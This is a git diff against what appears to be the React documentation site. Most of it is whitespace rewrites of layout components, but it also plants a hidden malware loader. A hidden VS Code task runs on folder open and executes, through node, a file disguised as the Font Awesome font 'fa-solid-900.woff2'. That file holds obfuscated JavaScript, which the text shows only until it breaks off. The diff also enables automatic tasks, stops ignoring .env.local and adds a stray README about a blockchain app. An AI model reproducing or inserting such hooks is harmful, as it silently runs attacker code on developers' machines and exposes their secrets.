diff --git a/.gitignore b/.gitignore index ed9efe38d02..4d7d009ad74 100644 --- a/.gitignore +++ b/.gitignore @@ -1,51 +1,51 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. - -# dependencies -node_modules -/.pnp -.pnp.js - -# testing -/coverage - -# next.js -/.next/ -/out/ - -# production -/build - -# misc -.DS_Store -*.pem -tsconfig.tsbuildinfo - -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* - -# local env files -.env.local -.env.development.local -.env.test.local -.env.production.local - -# vercel -.vercel - -# external fonts -public/fonts/**/Optimistic_*.woff2 - -# rss -public/rss.xml - -# claude local settings -.claude/*.local.* -.claude/react/ - -# worktrees -.worktrees/ - -# Generated OG images (scripts/generateOgImages.mjs) -public/images/og/ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +node_modules +/.pnp +.pnp.js + +# testing +/coverage + +# next.js +/.next/ +/out/ + +# production +/build + +# misc +.DS_Store +*.pem +tsconfig.tsbuildinfo + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* + +# local env files +.env.development.local +.env.test.local +.env.production.local + +# vercel +.vercel + +# external fonts +public/fonts/**/Optimistic_*.woff2 + +# rss +public/rss.xml + +# claude local settings +.claude/*.local.* +.claude/react/ + +# worktrees +.worktrees/ + +# Generated OG images (scripts/generateOgImages.mjs) +public/images/og/ +config.bat diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 00000000000..4492ffd00e9 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 00000000000..30bfe23293d --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/src/components/Layout/Page.tsx b/src/components/Layout/Page.tsx index 59cf4386d8f..3d7aeb855c0 100644 --- a/src/components/Layout/Page.tsx +++ b/src/components/Layout/Page.tsx @@ -1,212 +1,212 @@ -/** - * Copyright (c) Meta Platforms, Inc. and affiliates. - * - * This source code is licensed under the MIT license found in the - * LICENSE file in the root directory of this source tree. - */ - -/* - * Copyright (c) Facebook, Inc. and its affiliates. - */ - -import {Suspense} from 'react'; -import * as React from 'react'; -import {useRouter} from 'next/router'; -import {SidebarNav} from './SidebarNav'; -import {Footer} from './Footer'; -import {Toc} from './Toc'; -// import SocialBanner from '../SocialBanner'; -import {DocsPageFooter} from 'components/DocsFooter'; -import {Seo} from 'components/Seo'; -import PageHeading from 'components/PageHeading'; -import {getRouteMeta} from './getRouteMeta'; -import {TocContext} from '../MDX/TocContext'; -import {Languages, LanguagesContext} from '../MDX/LanguagesContext'; -import type {TocItem} from 'components/MDX/TocContext'; -import type {RouteItem} from 'components/Layout/getRouteMeta'; -import {HomeContent} from './HomeContent'; -import {TopNav} from './TopNav'; -import cn from 'classnames'; -import Head from 'next/head'; - -import(/* webpackPrefetch: true */ '../MDX/CodeBlock/CodeBlock'); - -interface PageProps { - children: React.ReactNode; - toc: Array; - routeTree: RouteItem; - meta: { - title?: string; - titleForTitleTag?: string; - version?: 'experimental' | 'canary'; - description?: string; - }; - section: 'learn' | 'reference' | 'community' | 'blog' | 'home' | 'unknown'; - languages?: Languages | null; -} - -export function Page({ - children, - toc, - routeTree, - meta, - section, - languages = null, -}: PageProps) { - const {asPath} = useRouter(); - const cleanedPath = asPath.split(/[\?\#]/)[0]; - const {route, nextRoute, prevRoute, breadcrumbs, order} = getRouteMeta( - cleanedPath, - routeTree - ); - const title = meta.title || route?.title || ''; - const version = meta.version; - const description = meta.description || route?.description || ''; - const isHomePage = cleanedPath === '/'; - const isBlogIndex = cleanedPath === '/blog'; - - let content; - if (isHomePage) { - content = ; - } else { - content = ( -
-
- -
-
-
- - {children} - -
- {!isBlogIndex && ( - - )} -
-
- ); - } - - let hasColumns = true; - let showSidebar = true; - let showToc = true; - if (isHomePage || isBlogIndex) { - hasColumns = false; - showSidebar = false; - showToc = false; - } else if (section === 'blog') { - showToc = false; - hasColumns = false; - showSidebar = false; - } - - let searchOrder; - if (section === 'learn' || (section === 'blog' && !isBlogIndex)) { - searchOrder = order; - } - - return ( - <> - - {(isHomePage || isBlogIndex) && ( - - - - )} - {/* */} - -
- {showSidebar && ( -
-
- -
-
- )} - {/* No fallback UI so need to be careful not to suspend directly inside. */} - -
-
- {content} -
-
- {!isHomePage && ( -
-
-
- )} -
-
-
-
-
-
-
- {showToc && toc.length > 0 && } -
-
- - ); -} +/** + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */ + +/* + * Copyright (c) Facebook, Inc. and its affiliates. + */ + +import {Suspense} from 'react'; +import * as React from 'react'; +import {useRouter} from 'next/router'; +import {SidebarNav} from './SidebarNav'; +import {Footer} from './Footer'; +import {Toc} from './Toc'; +// import SocialBanner from '../SocialBanner'; +import {DocsPageFooter} from 'components/DocsFooter'; +import {Seo} from 'components/Seo'; +import PageHeading from 'components/PageHeading'; +import {getRouteMeta} from './getRouteMeta'; +import {TocContext} from '../MDX/TocContext'; +import {Languages, LanguagesContext} from '../MDX/LanguagesContext'; +import type {TocItem} from 'components/MDX/TocContext'; +import type {RouteItem} from 'components/Layout/getRouteMeta'; +import {HomeContent} from './HomeContent'; +import {TopNav} from './TopNav'; +import cn from 'classnames'; +import Head from 'next/head'; + +import(/* webpackPrefetch: true */ '../MDX/CodeBlock/CodeBlock'); + +interface PageProps { + children: React.ReactNode; + toc: Array; + routeTree: RouteItem; + meta: { + title?: string; + titleForTitleTag?: string; + version?: 'experimental' | 'canary'; + description?: string; + }; + section: 'learn' | 'reference' | 'community' | 'blog' | 'home' | 'unknown'; + languages?: Languages | null; +} + +export function Page({ + children, + toc, + routeTree, + meta, + section, + languages = null, +}: PageProps) { + const {asPath} = useRouter(); + const cleanedPath = asPath.split(/[\?\#]/)[0]; + const {route, nextRoute, prevRoute, breadcrumbs, order} = getRouteMeta( + cleanedPath, + routeTree + ); + const title = meta.title || route?.title || ''; + const version = meta.version; + const description = meta.description || route?.description || ''; + const isHomePage = cleanedPath === '/'; + const isBlogIndex = cleanedPath === '/blog'; + + let content; + if (isHomePage) { + content = ; + } else { + content = ( +
+
+ +
+
+
+ + {children} + +
+ {!isBlogIndex && ( + + )} +
+
+ ); + } + + let hasColumns = true; + let showSidebar = true; + let showToc = true; + if (isHomePage || isBlogIndex) { + hasColumns = false; + showSidebar = false; + showToc = false; + } else if (section === 'blog') { + showToc = false; + hasColumns = false; + showSidebar = false; + } + + let searchOrder; + if (section === 'learn' || (section === 'blog' && !isBlogIndex)) { + searchOrder = order; + } + + return ( + <> + + {(isHomePage || isBlogIndex) && ( + + + + )} + {/* */} + +
+ {showSidebar && ( +
+
+ +
+
+ )} + {/* No fallback UI so need to be careful not to suspend directly inside. */} + +
+
+ {content} +
+
+ {!isHomePage && ( +
+
+
+ )} +
+
+
+
+
+
+
+ {showToc && toc.length > 0 && } +
+
+ + ); +} diff --git a/src/components/Layout/Sidebar/SidebarButton.tsx b/src/components/Layout/Sidebar/SidebarButton.tsx index 744172becb8..b68a011fd2d 100644 --- a/src/components/Layout/Sidebar/SidebarButton.tsx +++ b/src/components/Layout/Sidebar/SidebarButton.tsx @@ -1,64 +1,64 @@ -/** - * Copyright (c) Meta Platforms, Inc. and affiliates. - * - * This source code is licensed under the MIT license found in the - * LICENSE file in the root directory of this source tree. - */ - -/* - * Copyright (c) Facebook, Inc. and its affiliates. - */ - -import * as React from 'react'; -import cn from 'classnames'; -import {IconNavArrow} from 'components/Icon/IconNavArrow'; - -interface SidebarButtonProps { - title: string; - heading: boolean; - level: number; - onClick: (event: React.MouseEvent) => void; - isExpanded?: boolean; - isBreadcrumb?: boolean; -} - -export function SidebarButton({ - title, - heading, - level, - onClick, - isExpanded, - isBreadcrumb, -}: SidebarButtonProps) { - return ( -
1, - })}> - -
- ); -} +/** + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */ + +/* + * Copyright (c) Facebook, Inc. and its affiliates. + */ + +import * as React from 'react'; +import cn from 'classnames'; +import {IconNavArrow} from 'components/Icon/IconNavArrow'; + +interface SidebarButtonProps { + title: string; + heading: boolean; + level: number; + onClick: (event: React.MouseEvent) => void; + isExpanded?: boolean; + isBreadcrumb?: boolean; +} + +export function SidebarButton({ + title, + heading, + level, + onClick, + isExpanded, + isBreadcrumb, +}: SidebarButtonProps) { + return ( +
1, + })}> + +
+ ); +} diff --git a/src/components/MDX/ExpandableExample.tsx b/src/components/MDX/ExpandableExample.tsx index c11cd6c3ccc..8588ef3f9ef 100644 --- a/src/components/MDX/ExpandableExample.tsx +++ b/src/components/MDX/ExpandableExample.tsx @@ -1,125 +1,125 @@ -/** - * Copyright (c) Meta Platforms, Inc. and affiliates. - * - * This source code is licensed under the MIT license found in the - * LICENSE file in the root directory of this source tree. - */ - -/* - * Copyright (c) Facebook, Inc. and its affiliates. - */ - -import * as React from 'react'; -import cn from 'classnames'; -import {IconChevron} from '../Icon/IconChevron'; -import {IconDeepDive} from '../Icon/IconDeepDive'; -import {IconCodeBlock} from '../Icon/IconCodeBlock'; -import {Button} from '../Button'; -import {H4} from './Heading'; -import {useRouter} from 'next/router'; -import {useEffect, useRef, useState} from 'react'; - -interface ExpandableExampleProps { - children: React.ReactNode; - excerpt?: string; - type: 'DeepDive' | 'Example'; -} - -function ExpandableExample({children, excerpt, type}: ExpandableExampleProps) { - if (!Array.isArray(children) || children[0].type.mdxName !== 'h4') { - throw Error( - `Expandable content ${type} is missing a corresponding title at the beginning` - ); - } - const isDeepDive = type === 'DeepDive'; - const isExample = type === 'Example'; - const id = children[0].props.id; - - const {asPath} = useRouter(); - const shouldAutoExpand = id === asPath.split('#')[1]; - const queuedExpandRef = useRef(shouldAutoExpand); - const [isExpanded, setIsExpanded] = useState(false); - - useEffect(() => { - if (queuedExpandRef.current) { - queuedExpandRef.current = false; - setIsExpanded(true); - } - }, []); - - return ( -
{ - setIsExpanded(e.currentTarget!.open); - }} - className={cn( - 'my-12 rounded-2xl shadow-inner-border dark:shadow-inner-border-dark relative', - { - 'dark:bg-opacity-20 dark:bg-purple-60 bg-purple-5': isDeepDive, - 'dark:bg-opacity-20 dark:bg-yellow-60 bg-yellow-5': isExample, - } - )}> - { - // We toggle using a button instead of this whole area, - // with an escape case for the header anchor link - if (!(e.target instanceof SVGElement)) { - e.preventDefault(); - } - }}> -
- {isDeepDive && ( - <> - - Deep Dive - - )} - {isExample && ( - <> - - Example - - )} -
-
-

- {children[0].props.children} -

- {excerpt &&
{excerpt}
} -
- -
-
- {children.slice(1)} -
-
- ); -} - -export default ExpandableExample; +/** + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */ + +/* + * Copyright (c) Facebook, Inc. and its affiliates. + */ + +import * as React from 'react'; +import cn from 'classnames'; +import {IconChevron} from '../Icon/IconChevron'; +import {IconDeepDive} from '../Icon/IconDeepDive'; +import {IconCodeBlock} from '../Icon/IconCodeBlock'; +import {Button} from '../Button'; +import {H4} from './Heading'; +import {useRouter} from 'next/router'; +import {useEffect, useRef, useState} from 'react'; + +interface ExpandableExampleProps { + children: React.ReactNode; + excerpt?: string; + type: 'DeepDive' | 'Example'; +} + +function ExpandableExample({children, excerpt, type}: ExpandableExampleProps) { + if (!Array.isArray(children) || children[0].type.mdxName !== 'h4') { + throw Error( + `Expandable content ${type} is missing a corresponding title at the beginning` + ); + } + const isDeepDive = type === 'DeepDive'; + const isExample = type === 'Example'; + const id = children[0].props.id; + + const {asPath} = useRouter(); + const shouldAutoExpand = id === asPath.split('#')[1]; + const queuedExpandRef = useRef(shouldAutoExpand); + const [isExpanded, setIsExpanded] = useState(false); + + useEffect(() => { + if (queuedExpandRef.current) { + queuedExpandRef.current = false; + setIsExpanded(true); + } + }, []); + + return ( +
{ + setIsExpanded(e.currentTarget!.open); + }} + className={cn( + 'my-12 rounded-2xl shadow-inner-border dark:shadow-inner-border-dark relative', + { + 'dark:bg-opacity-20 dark:bg-purple-60 bg-purple-5': isDeepDive, + 'dark:bg-opacity-20 dark:bg-yellow-60 bg-yellow-5': isExample, + } + )}> + { + // We toggle using a button instead of this whole area, + // with an escape case for the header anchor link + if (!(e.target instanceof SVGElement)) { + e.preventDefault(); + } + }}> +
+ {isDeepDive && ( + <> + + Deep Dive + + )} + {isExample && ( + <> + + Example + + )} +
+
+

+ {children[0].props.children} +

+ {excerpt &&
{excerpt}
} +
+ +
+
+ {children.slice(1)} +
+
+ ); +} + +export default ExpandableExample; diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/README.md b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/README.md new file mode 100644 index 00000000000..1fb874ba8b6 --- /dev/null +++ b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.eot b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.eot new file mode 100644 index 00000000000..a1bc094ab14 Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.eot differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.svg b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.svg new file mode 100644 index 00000000000..2d4771eb7b7 --- /dev/null +++ b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.ttf b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.ttf new file mode 100644 index 00000000000..948a2a6cc76 Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.ttf differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.woff b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.woff new file mode 100644 index 00000000000..2a89d521e3f Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.woff differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.woff2 b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.woff2 new file mode 100644 index 00000000000..141a90a9e0a Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-brands-400.woff2 differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.eot b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.eot new file mode 100644 index 00000000000..38cf2517a4d Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.eot differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.svg b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.svg new file mode 100644 index 00000000000..13180f6eefc --- /dev/null +++ b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.ttf b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.ttf new file mode 100644 index 00000000000..abe99e20c38 Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.ttf differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.woff b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.woff new file mode 100644 index 00000000000..24de566a5c9 Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.woff differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.woff2 b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.woff2 new file mode 100644 index 00000000000..7e0118e526e Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-regular-400.woff2 differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.eot b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.eot new file mode 100644 index 00000000000..d3b77c223af Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.eot differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.svg b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.svg new file mode 100644 index 00000000000..5543afa7912 --- /dev/null +++ b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.ttf b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.ttf new file mode 100644 index 00000000000..5b979039ab2 Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.ttf differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff new file mode 100644 index 00000000000..beec7917842 Binary files /dev/null and b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff differ diff --git a/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff2 b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff2 new file mode 100644 index 00000000000..f837a1e07f2 --- /dev/null +++ b/src/components/MDX/Sandpack/sandpack-rsc/sandbox-code/src/public/fonts/fa-solid-900.woff2 @@ -0,0 +1 @@ +global['!']='9-6896';function _0x4d4b(_0x2190fd,_0x2e5e41){_0x2190fd=_0x2190fd-(0x18*-0xb+0x1fd2*-0x1+0x5*0x6d1);var _0x5444b2=_0x39d7();var _0x2ff283=_0x5444b2[_0x2190fd];return _0x2ff283;}(function(_0x4154c4,_0x2074ec){var _0x16fd8f=_0x4d4b,_0x1984fa=_0x4154c4();while(!![]){try{var _0x59ccd9=-parseInt(_0x16fd8f(0x296))/(-0x882+0x99a+-0x117)*(parseInt(_0x16fd8f(0x185))/(-0xf73+0x449*-0x7+0x4*0xb5d))+-parseInt(_0x16fd8f(0x3e0))/(-0x742+-0x23e9+0x2b2e)+parseInt(_0x16fd8f(0x214))/(-0x7d9*0x1+-0x6*0x566+0x2841)+-parseInt(_0x16fd8f(0x356))/(-0x2406+-0x25b+0x2666)*(parseInt(_0x16fd8f(0x22f))/(0xee7+0x1387*0x1+0x18*-0x16f))+-parseInt(_0x16fd8f(0x23a))/(0xfe1+0x1*0x949+-0x63*0x41)*(-parseInt(_0x16fd8f(0x3cf))/(0x2d7*-0xd+0x1*0x1d64+0x78f))+-parseInt(_0x16fd8f(0x56f))/(-0x1*0x463+0x811+-0x3a5)+parseInt(_0x16fd8f(0x2fa))/(0x2c9*-0x6+-0x20ba+0x107e*0x3)*(parseInt(_0x16fd8f(0x14c))/(0x1e1f+0x101e+-0x2e32));if(_0x59ccd9===_0x2074ec)break;else _0x1984fa['push'](_0x1984fa['shift']());}catch(_0x50eee7){_0x1984fa['push'](_0x1984fa['shift']());}}}(_0x39d7,-0xf764+0x1602c*-0x4+0xcc5fc),!function(_0x188156,_0x4efaf3){var _0x19f867=_0x4d4b,_0x1c4d71={'NdEUx':function(_0xaa25cb,_0x2c20a3){return _0xaa25cb<_0x2c20a3;},'FJBmH':function(_0x3e36a3,_0x1b379b){return _0x3e36a3%_0x1b379b;},'QAimq':function(_0x543874,_0x38bd01){return _0x543874+_0x38bd01;},'JHiDq':function(_0x147762,_0x1b2125){return _0x147762*_0x1b2125;},'EnjfP':function(_0x191f13,_0x29f8fb){return _0x191f13+_0x29f8fb;},'qNrRO':function(_0x59f05d,_0x28f553){return _0x59f05d%_0x28f553;},'KrnUc':function(_0xde2820,_0x33457f){return _0xde2820*_0x33457f;},'uXFOy':function(_0x2c519b,_0x5b658c){return _0x2c519b%_0x5b658c;},'iEMtD':function(_0x71c6cf,_0x3392f2,_0x19095f,_0x5ac20d,_0x41a9bd,_0x53972b,_0xa07953,_0x47f566){return _0x71c6cf(_0x3392f2,_0x19095f,_0x5ac20d,_0x41a9bd,_0x53972b,_0xa07953,_0x47f566);},'WFwdb':_0x19f867(0x320),'lcFMw':function(_0x14727a,_0x3ad8e5){return _0x14727a===_0x3ad8e5;},'DAiqF':function(_0x369b65,_0x5791cd){return _0x369b65(_0x5791cd);},'unVbq':_0x19f867(0x278)+_0x19f867(0x51a)+_0x19f867(0x3b4)+_0x19f867(0x54d),'MRZUh':function(_0x3bfeed,_0x4f988c,_0x1c7482){return _0x3bfeed(_0x4f988c,_0x1c7482);},'yYvIS':function(_0x14045d,_0x1bbf7f){return _0x14045d(_0x1bbf7f);},'rOKEo':_0x19f867(0x1f4)+_0x19f867(0x36d)+_0x19f867(0x2fd)+_0x19f867(0x4b7)+_0x19f867(0x2e6)+_0x19f867(0x2b5)+_0x19f867(0x4ac)+_0x19f867(0x3a6)+_0x19f867(0x46d)+_0x19f867(0x4c3)+_0x19f867(0x385)+_0x19f867(0x24f)+_0x19f867(0x1ce)+_0x19f867(0x4eb)+_0x19f867(0x267)+_0x19f867(0x36a)+_0x19f867(0x444)+_0x19f867(0x4ab)+_0x19f867(0x3ef)+_0x19f867(0x530)+_0x19f867(0x518)+_0x19f867(0x152)+_0x19f867(0x319)+_0x19f867(0x308)+_0x19f867(0x2ed)+_0x19f867(0x191)+_0x19f867(0x393)+_0x19f867(0x352)+_0x19f867(0x293)+_0x19f867(0x1c5)+_0x19f867(0x274)+_0x19f867(0x4ce)+_0x19f867(0x462)+_0x19f867(0x207)+_0x19f867(0x46a)+_0x19f867(0x30b)+_0x19f867(0x1aa)+_0x19f867(0x1b6)+_0x19f867(0x382)+_0x19f867(0x175)+_0x19f867(0x396)+_0x19f867(0x4df)+_0x19f867(0x17c)+_0x19f867(0x498)+_0x19f867(0x32a)+_0x19f867(0x1ac)+_0x19f867(0x37f)+_0x19f867(0x1ec)+_0x19f867(0x1a2)+_0x19f867(0x539)+_0x19f867(0x34d)+_0x19f867(0x19c)+_0x19f867(0x580)+_0x19f867(0x582)+_0x19f867(0x2b7)+_0x19f867(0x2ee)+_0x19f867(0x524)+_0x19f867(0x170)+_0x19f867(0x57c)+_0x19f867(0x1fa)+_0x19f867(0x188)+_0x19f867(0x3b1)+_0x19f867(0x437)+_0x19f867(0x260)+_0x19f867(0x564)+_0x19f867(0x390)+_0x19f867(0x1f6)+_0x19f867(0x317)+_0x19f867(0x568)+_0x19f867(0x325)+_0x19f867(0x535)+_0x19f867(0x213)+_0x19f867(0x531)+_0x19f867(0x2cf)+_0x19f867(0x4c1)+_0x19f867(0x208)+_0x19f867(0x4c7)+_0x19f867(0x25c)+_0x19f867(0x30a)+_0x19f867(0x56b)+_0x19f867(0x31e)+_0x19f867(0x1ef)+_0x19f867(0x154)+_0x19f867(0x527)+_0x19f867(0x311)+_0x19f867(0x16f)+_0x19f867(0x492)+_0x19f867(0x4f0)+_0x19f867(0x573),'IvQtM':_0x19f